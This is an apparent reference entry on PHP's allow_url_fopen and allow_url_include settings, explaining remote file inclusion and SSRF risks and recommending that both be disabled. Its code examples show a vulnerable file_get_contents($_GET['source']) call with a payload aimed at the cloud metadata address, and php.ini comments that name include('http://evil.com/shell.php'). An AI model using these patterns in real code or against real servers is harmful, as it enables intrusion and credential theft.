allow_url_fopen / allow_url_include
debt(d5/e3/b3/t6)
Closest to 'specialist tool catches it' (d5). The detection_hints list semgrep and lynis as tools that can flag allow_url_fopen=On in config or usage of file_get_contents with URLs. These are specialist security scanning tools, not default linters. A default PHP linter won't flag this — you need SAST or a hardening auditor to catch it systematically.
Closest to 'simple parameterised fix' (e3). The quick_fix is to set allow_url_fopen=Off in php.ini and replace file_get_contents() URL calls with cURL. The ini change is one line, but replacing file_get_contents URL usages across a codebase requires a small but systematic refactor — swapping each call to use cURL or an HTTP client. This is more than e1 but stays within a single concern/component pattern, so e3 fits.
Closest to 'localised tax' (b3). This is a php.ini configuration setting that affects file-wrapper-based URL functions. It's not load-bearing across the architecture — it's a localized configuration concern. However, it applies to both web and CLI contexts and legacy code may have scattered file_get_contents URL calls that implicitly depend on it being On, creating a mild ongoing tax. Still, it doesn't shape the system's architecture, so b3 is appropriate.
Closest to 'notable trap' (t5), +1 to t6. The misconception is significant: developers commonly believe disabling allow_url_fopen prevents all remote HTTP requests from PHP, when it only affects URL-aware file functions and leaves cURL completely unaffected. Additionally, common_mistakes reveal that developers don't realize allow_url_fopen interacts with allow_url_include to affect include/require statements — a compounding surprise. This goes beyond a single documented gotcha (t5) but doesn't quite reach 'contradicts how a similar concept works elsewhere' (t7), so t6 is warranted.
Also Known As
TL;DR
Explanation
allow_url_fopen permits file_get_contents(), fopen(), and similar functions to fetch remote HTTP/FTP URLs. allow_url_include goes further, enabling include() and require() to load remote scripts — enabling Remote File Inclusion (RFI) attacks where an attacker includes and executes a PHP file from an attacker-controlled server. Both settings should be disabled in production (allow_url_fopen = Off, allow_url_include = Off) unless remote fetching is explicitly required, in which case use cURL with strict URL validation instead.
Common Misconception
Why It Matters
Common Mistakes
- Leaving allow_url_fopen enabled in production when it is only needed in specific scripts.
- Using file_get_contents($userInput) where user input can be a URL — SSRF via allow_url_fopen.
- Not realising that allow_url_fopen affects include/require when allow_url_include is also enabled.
- Believing that allow_url_fopen is safe because you only call it with known paths — input sanitisation can be bypassed.
Avoid When
- Any production web application — allow_url_fopen enables remote file inclusion vulnerabilities if user input reaches file functions.
- When Guzzle, cURL, or any HTTP client library is available — use them instead for explicit, safe HTTP calls.
- Shared hosting environments where you cannot control what other tenants do with the setting.
When To Use
- Strictly controlled CLI scripts on trusted infrastructure where input is never user-supplied.
- Legacy code that cannot yet be refactored — disable it in php.ini and enable only where truly required.
- Never use with user-supplied file paths — always use explicit HTTP client libraries for remote requests.
Code Examples
// allow_url_fopen=On in php.ini enables this SSRF:
$content = file_get_contents($_GET['source']);
// ?source=http://169.254.169.254/latest/meta-data/ — AWS metadata
; php.ini
allow_url_fopen = Off ; prevents file_get_contents('http://evil.com/shell.php')
allow_url_include = Off ; prevents include('http://evil.com/shell.php') — critical
// For HTTP requests, use GuzzleHTTP — explicit, configurable, auditable:
use GuzzleHttp\Client;
$client = new Client(['timeout' => 5, 'verify' => true]);
$response = $client->get('https://api.example.com/data');
$body = (string) $response->getBody();